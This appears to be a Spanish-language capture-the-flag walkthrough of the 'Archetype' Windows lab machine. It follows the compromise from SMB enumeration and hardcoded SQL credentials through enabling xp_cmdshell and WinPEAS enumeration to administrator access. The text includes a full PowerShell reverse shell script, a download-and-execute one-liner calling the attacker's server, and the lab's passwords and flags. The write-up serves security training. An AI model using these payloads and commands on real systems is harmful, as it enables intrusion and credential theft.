Archetype
Dificultad: Very Easy - OS: Windows
Enumeración de puertos/servicios
┌──(root㉿kali)-[/home/kali]
└─# nmap -sCV --open -T4 -v -n 10.129.132.61
Resultados:
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows Server 2019 Standard 17763 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
| ms-sql-ntlm-info:
| 10.129.95.187:1433:
| Target_Name: ARCHETYPE
| NetBIOS_Domain_Name: ARCHETYPE
| NetBIOS_Computer_Name: ARCHETYPE
| DNS_Domain_Name: Archetype
| DNS_Computer_Name: Archetype
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2025-04-01T17:59:22
| Not valid after: 2055-04-01T17:59:22
| MD5: 109a:2229:2d4b:d69f:d828:3a57:f5b0:1fcd
|_SHA-1: 6693:18c0:2452:7922:33b4:2bf4:96ac:2b03:8ab3:b9ba
|_ssl-date: 2025-04-01T18:44:11+00:00; -8m33s from scanner time.
| ms-sql-info:
| 10.129.95.187:1433:
| Version:
| name: Microsoft SQL Server 2017 RTM
| number: 14.00.1000.00
| Product: Microsoft SQL Server 2017
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_clock-skew: mean: 1h15m28s, deviation: 3h07m52s, median: -8m33s
| smb2-time:
| date: 2025-04-01T18:44:02
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb-os-discovery:
| OS: Windows Server 2019 Standard 17763 (Windows Server 2019 Standard 6.3)
| Computer name: Archetype
| NetBIOS computer name: ARCHETYPE\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2025-04-01T11:44:03-07:00
En síntesis:
Puerto | Estado | Servicio | Protocolo
135/tcp | Open | MSRPC | DCERPC (Distributed Computing Environment / Remote Procedure Call)
139/tcp | Open | NetBIOS-SSN | NetBIOS Session Service (para compartir archivos e impresoras en redes Windows)
445/tcp | Open | Microsoft-DS (SMB) | SMB (Server Message Block) sobre TCP/IP
1433/tcp | Open | MS-SQL-S | TDS (Tabular Data Stream) (protocolo de comunicación de Microsoft SQL Server)
5985/tcp | Open | HTTP (WinRM) | WinRM (Windows Remote Management) sobre HTTP
Enumeración de recursos smb con usuario anónimo
Como primer paso vamos a listar recursos del servicio SMB. Para realizar esto podemos usar estas tools: smbclient y smbmap
┌──(root㉿kali)-[/home/kali]
└─# smbclient -L 10.129.132.61 -N
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
backups Disk
C$ Disk Default share
IPC$ IPC Remote IPC
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.3.229 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
Parámetros:
-N
→ sin contraseña
-L
→ esta opción le permite ver qué recursos están disponibles en un servidor
┌──(root㉿kali)-[/home/kali]
└─# smbmap -H 10.129.132.61 -u " " -p " "
________ ___ ___ _______ ___ ___ __ _______
/" )|" \ /" || _ "\ |" \ /" | /""\ | __ "\
(: \___/ \ \ // |(. |_) :) \ \ // | / \ (. |__) :)
\___ \ /\ \/. ||: \/ /\ \/. | /' /\ \ |: ____/
__/ \ |: \. |(| _ \ |: \. | // __' \ (| /
/" \ :) |. \ /: ||: |_) :)|. \ /: | / / \ \ /|__/ \
(_______/ |___|\__/|___|(_______/ |___|\__/|___|(___/ \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
https://github.com/ShawnDEvans/smbmap
[\] Checking for open ports...
[|] Checking for open ports...
[/] Checking for open ports...
[-] Checking for open ports...
[*] Detected 1 hosts serving SMB
[\] Authenticating...
[|] Authenticating...
[/] Authenticating...
[*] Established 1 SMB connections(s) and 0 authenticated session(s)
[|] Enumerating shares...
[/] Enumerating shares...
[-] Enumerating shares...
[+] IP: 10.129.132.61:445 Name: 10.129.132.61 Status: Authenticated
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
backups READ ONLY
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
[|] Closing connections..
[/] Closing connections..
[-] Closing connections..
[*] Closed 1 connections
Parámetros:
-H
→ indica el host objetivo.
-u
→ es para indicar el nombre de usuario.
-p
→ es para indicar la contraseña.
" "
→ es un string vacío. De esta forma nos autenticamos como usuario anónimo.
El recurso que nos interesa es "backups", un directorio que contiene un archivo .dtsConfig Para acceder a la carpeta backups vamos a usar smbclient
┌──(root㉿kali)-[/home/kali]
└─# smbclient -N \\\\10.129.132.61\\backups
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Mon Jan 20 07:20:57 2020
.. D 0 Mon Jan 20 07:20:57 2020
prod.dtsConfig AR 609 Mon Jan 20 07:23:02 2020
5056511 blocks of size 4096. 2617222 blocks available
smb: \> get prod.dtsConfig
getting file \prod.dtsConfig of size 609 as prod.dtsConfig (0.9 KiloBytes/sec) (average 0.9 KiloBytes/sec)
Una vez que descargamos el archivo .dtsConfig nos vamos a encontrar con lo siguiente:
┌──(root㉿kali)-[/home/kali]
└─# cat prod.dtsConfig
<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>
Credenciales hardcodeadas: Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc
Ejecución de comandos mediante xp_cmdshell
El siguiente paso es conectarnos al servidor MSSQL con las credenciales encontradas. En este punto vamos a usar la siguiente tool: impacket-mssqlclient
┌──(root㉿kali)-[/home/kali]
└─# impacket-mssqlclient ARCHETYPE/sql_svc@10.129.132.61 -windows-auth
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(ARCHETYPE): Line 1: Changed database context to 'master'.
[*] INFO(ARCHETYPE): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (140 3232)
[!] Press help for extra shell commands
SQL (ARCHETYPE\sql_svc dbo@master)>
Una vez que logramos entrar al MSSQL vamos a comprobar si nuestro usuario es sysadmin:
SQL (ARCHETYPE\sql_svc dbo@master)> SELECT IS_SRVROLEMEMBER('sysadmin');
-
1
El valor 1 nos indica que el usuario es sysadmin por lo tanto tenemos los permisos para modificar configuraciones y leer archivos, pero lo que vamos a testear ahora es como esta configurado el xp_cmdshell (un procedimiento almacenado extendido en Microsoft SQL Server que permite ejecutar comandos del sistema operativo desde SQL Server).
SQL (ARCHETYPE\sql_svc dbo@master)> EXEC xp_cmdshell 'whoami'
ERROR(ARCHETYPE): Line 1: SQL Server blocked access to procedure 'sys.xp_cmdshell' of component 'xp_cmdshell' because
this component is turned off as part of the security configuration for this server. A system administrator can enable
the use of 'xp_cmdshell' by using sp_configure. For more information about enabling 'xp_cmdshell', search for
'xp_cmdshell' in SQL Server Books Online.
Este mensaje nos esta diciendo que el componente xp_cmdshell esta desactivado como parte de la configuración de seguridad de este servidor y que solo un administrador del sistema puede habilitar el uso de 'xp_cmdshell' mediante sp_configure. Entonces, ¿Cómo podemos habilitar este componente?
Para entender que es un procedimiento almacenado extendido y xp_cmdshell ir al siguiente articulo:
MSSQLSi consultamos el manual con 'help' vamos a encontrar un comando para habilitar la xp_cmdshell: enable_xp_cmdshell
SQL (ARCHETYPE\sql_svc dbo@master)> help
lcd {path} - changes the current local directory to {path}
exit - terminates the server process (and this session)
enable_xp_cmdshell - you know what it means
disable_xp_cmdshell - you know what it means
enum_db - enum databases
enum_links - enum linked servers
enum_impersonate - check logins that can be impersonated
enum_logins - enum login users
enum_users - enum current db users
enum_owner - enum db owner
exec_as_user {user} - impersonate with execute as user
exec_as_login {login} - impersonate with execute as login
xp_cmdshell {cmd} - executes cmd using xp_cmdshell
xp_dirtree {path} - executes xp_dirtree on the path
sp_start_job {cmd} - executes cmd using the sql server agent (blind)
use_link {link} - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)
! {cmd} - executes a local shell cmd
show_query - show query
mask_query - mask query
Una vez que habilitemos la xp_cmdshell vamos a ver un mensaje que nos indica cual es la siguiente instrucción para aplicar los cambios (la línea en cuestión es la 3 que nos pide ejecutar el comando reconfigure para aplicar los cambios). Finalmente podremos usar xp_cmdshell y probar algunos comandos como whoami
o pwd
SQL (ARCHETYPE\sql_svc dbo@master)> enable_xp_cmdshell
INFO(ARCHETYPE): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(ARCHETYPE): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (ARCHETYPE\sql_svc dbo@master)> reconfigure
SQL (ARCHETYPE\sql_svc dbo@master)> EXEC xp_cmdshell 'whoami'
output
-----------------
archetype\sql_svc
NULL
SQL (ARCHETYPE\sql_svc dbo@master)> xp_cmdshell "powershell -c pwd"
output
-------------------
NULL
Path
----
C:\Windows\system32
Reverse shell
Ahora que podemos ejecutar comandos del sistema operativo vamos a establecer nuestra reverse shell siguiendo este paso a paso
Setear el payload shell.ps1 con nuestra IP atacante y el puerto de escucha donde recibiremos la conexión desde el equipo objetivo Windows una vez que ejecutemos la carga útil con powershell.
Levantar un servidor con Python en el equipo atacante. Iníciarlo en la misma carpeta donde se guardó el payload shell.ps1
Levantar el listener con Netcat usando el puerto que configuramos en el payload para que el equipo objetivo pueda mandarnos la reverse shell.
Desde el servidor SQL: descargar el payload shell.ps1 alojado en la máquina atacante y ejecutarlo como un script de Windows usando powershell.
1) Crear el payload:
┌──(root㉿kali)-[/home/kali/Documents/HTB/ARCHETYPE]
└─# cat shell.ps1
$client = New-Object System.Net.Sockets.TCPClient("0.0.0.0",4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + "# ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
};
$client.Close()
En la línea TCPClient("0.0.0.0",4444);
hay que poner la IP de nuestra maquina atacante y el puerto que vamos a usar como listener con netcat.
La extensión .ps1
indica que el archivo es un script de PowerShell
Para ver más sobre este payload ir al siguiente artículo:
Shell.ps12) Levantamos un servidor con python3 desde la carpeta donde dejamos guardado el payload:
┌──(root㉿kali)-[/home/kali/Documents/HTB/ARCHETYPE]
└─# ls
prod.dtsConfig shell.ps1
┌──(root㉿kali)-[/home/kali/Documents/HTB/ARCHETYPE]
└─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.132.61 - - [08/Apr/2025 23:09:27] "GET /shell.ps1 HTTP/1.1" 200 -
3) Levantamos un listener con netcat en otra shell, usando el puerto que configuramos en el payload:
┌──(root㉿kali)-[/home/kali/Documents/HTB/ARCHETYPE]
└─# nc -nvlp 4444
listening on [any] 4444 ...
4) Ejecutamos el siguiente "one liner" en la sesión de mssql
SQL (ARCHETYPE\sql_svc dbo@master)> xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; Invoke-WebRequest -Uri http://10.10.15.39:8000/shell.ps1 -OutFile shell.ps1 -UseBasicParsing; powershell -ExecutionPolicy Bypass -File shell.ps1"
Y así logramos obtener nuestra reverse shell:
┌──(root㉿kali)-[/home/kali/Documents/HTB/ARCHETYPE]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.15.39] from (UNKNOWN) [10.129.132.61] 49684
whoami
archetype\sql_svc
# pwd
Path
----
C:\Users\sql_svc\Downloads
Escalada de privilegios con WinPEAS
Por último nos faltaría escalar privilegios y para esta etapa vamos a utilizar WinPEAS. Si ya lo tenemos instalado en kali lo podemos localizar con locate
y copiar el .exe
al directorio donde levantemos el servidor con python3
:
┌──(root㉿kali)-[/home/kali/Documents/HTB/ARCHETYPE]
└─# locate winpeas
/usr/bin/winpeas
/usr/share/peass/winpeas
/usr/share/peass/winpeas/winPEAS.bat
/usr/share/peass/winpeas/winPEASany.exe
/usr/share/peass/winpeas/winPEASany_ofs.exe
/usr/share/peass/winpeas/winPEASx64.exe
┌──(root㉿kali)-[/usr/share/peass/winpeas]
└─# cp winPEASx64.exe /home/kali/Documents/HTB/ARCHETYPE
Antes de descargar WinPEAS en la reverse shell vamos a buscar la flag del usuario:
# pwd
Path
----
C:\Users\sql_svc\Downloads
# dir
Directory: C:\Users\sql_svc\Downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/8/2025 10:24 PM 514 shell.ps1
# cd ..
# cd Desktop
# dir
Directory: C:\Users\sql_svc\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 2/25/2020 6:37 AM 32 user.txt
# type user.txt
3e7b102e78218e935bf3f4951fec21a3
Ahora si, para descargar WinPEAS en la máquina objetivo vamos a seguir estos pasos:
Levantamos un servidor con python3 desde el directorio donde se encuentre el archivo winPEASx64.exe
┌──(root㉿kali)-[/home/kali/Documents/HTB/ARCHETYPE]
└─# ls
prod.dtsConfig shell.ps1 winPEASx64.exe
┌──(root㉿kali)-[/home/kali/Documents/HTB/ARCHETYPE]
└─# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.129.132.61 - - [09/Apr/2025 02:04:10] "GET /winPEASx64.exe HTTP/1.1" 200 -
y lo descargamos con wget desde la reverse shell
# wget http://10.10.15.39:8000/winPEASx64.exe -OutFile winPEASx64.exe
# ls
Directory: C:\Users\sql_svc\Downloads
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 4/8/2025 10:24 PM 514 shell.ps1
-a---- 4/8/2025 10:55 PM 10144256 winPEASx64.exe
Parámetros:
wget
→ en PowerShell, el alias wget
redirige en realidad a Invoke-WebRequest
.
http://10.10.15.39:8000/winPEASx64.exe
→ es la URL desde la cual se quiere descargar el archivo.
-OutFile
→ indica el nombre del archivo local en el que se va a guardar la descarga.
winPEASx64.exe
→ el nombre con el que se guarda el archivo en la máquina local.
Una vez que ya tenemos cargado el binario lo ejecutamos y nos va a arrojar un reporte con mucha información de la cual nos interesa la siguiente: el PS history file
???????????? PowerShell Settings
PowerShell v2 Version: 2.0
PowerShell v5 Version: 5.1.17763.1
PowerShell Core Version:
Transcription Settings:
Module Logging Settings:
Scriptblock Logging Settings:
PS history file: C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
???????????? Print Logon Sessions
Method: WMI
Logon Server:
Logon Server Dns Domain:
Logon Id: 78535
Logon Time:
Logon Type: Service
Start Time: 4/8/2025 10:13:54 PM
Domain: ARCHETYPE
Authentication Package: NTLM
Start Time: 4/8/2025 10:13:54 PM
User Name: sql_svc
???????????? Enumerating Security Packages Credentials
Version: NetNTLMv2
Hash: sql_svc::ARCHETYPE:1122334455667788:e60d9be197153b8ea0c2847c1cca8e50:010100000000000075091d3c15a9db01df65
dbb917ef7447000000000800300030000000000000000000000000300000537283dd3d8c315062dc5517754dd98e7e59b35d0d683
3ad0140e4496c8bb6dc0a00100000000000000000000000000000000000090000000000000000000000
El PS history file es el archivo de historial de comandos de PowerShell del usuario sql_svc
. PowerShell, al igual que bash en Linux, guarda un historial de los comandos que fueron ejecutados en sesiones anteriores. Este archivo es clave durante un pentesting porque nos permite revelar información como contraseñas, comandos administrativos, interacciones del usuario con sistemas remotos, etc. Para leer este archivo usamos el siguiente comando:
# type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
¿Qué significa este resultado?
net use
→ comando para conectar unidades de red en Windows.
T:
→ letra de unidad local que se asignará al recurso de red.
\\Archetype\backups
→ ruta UNC del recurso compartido en red (una carpeta de la máquina Archetype
).
/user:administrator
→ se está autenticando como el usuario administrator
.
MEGACORP_4dm1n!!
→ es la contraseña usada para ese usuario
RCE con EvilWinRM
Con estas credenciales podemos conectarnos al puerto 5985/tcp que corre el servicio de HTTP (WinRM) utilizando EvilWinRM o también podemos conectarnos al puerto 445/tcp que corre el servicio de SMB utilizando impacket-psexec
┌──(root㉿kali)-[/home/kali/Documents/HTB/ARCHETYPE]
└─# evil-winrm -i 10.129.132.61 -u administrator -p 'MEGACORP_4dm1n!!'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> pwd
Path
----
C:\Users\Administrator\Documents
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> dir
Directory: C:\Users\Administrator
Mode LastWriteTime Length Name
---- ------------- ------ ----
d-r--- 7/27/2021 2:30 AM 3D Objects
d-r--- 7/27/2021 2:30 AM Contacts
d-r--- 7/27/2021 2:30 AM Desktop
d-r--- 7/27/2021 2:30 AM Documents
d-r--- 7/27/2021 2:30 AM Downloads
d-r--- 7/27/2021 2:30 AM Favorites
d-r--- 7/27/2021 2:30 AM Links
d-r--- 7/27/2021 2:30 AM Music
d-r--- 7/27/2021 2:30 AM Pictures
d-r--- 7/27/2021 2:30 AM Saved Games
d-r--- 7/27/2021 2:30 AM Searches
d-r--- 7/27/2021 2:30 AM Videos
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
Directory: C:\Users\Administrator\Desktop
Mode LastWriteTime Length Name
---- ------------- ------ ----
-ar--- 2/25/2020 6:36 AM 32 root.txt
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
b91ccec3305e98240082d4474b848528
┌──(root㉿kali)-[/usr/share/doc/python3-impacket/examples]
└─# impacket-psexec administrator@10.129.132.61
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
Password:
[*] Requesting shares on 10.129.132.61.....
[*] Found writable share ADMIN$
[*] Uploading file kWNjbpLM.exe
[*] Opening SVCManager on 10.129.132.61.....
[*] Creating service bYPa on 10.129.132.61.....
[*] Starting service bYPa.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.2061]
(c) 2018 Microsoft Corporation. All rights reserved.
C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
b91ccec3305e98240082d4474b848528
Como conclusión: durante el desarrollo del CTF exploramos un escenario realista de compromiso de una máquina Windows a través de una serie de miss configurations y exposición de credenciales. Esta experiencia pone en evidencia varias debilidades comunes en entornos Windows y refuerza la importancia de implementar buenas prácticas de hardening como las siguientes:
Last updated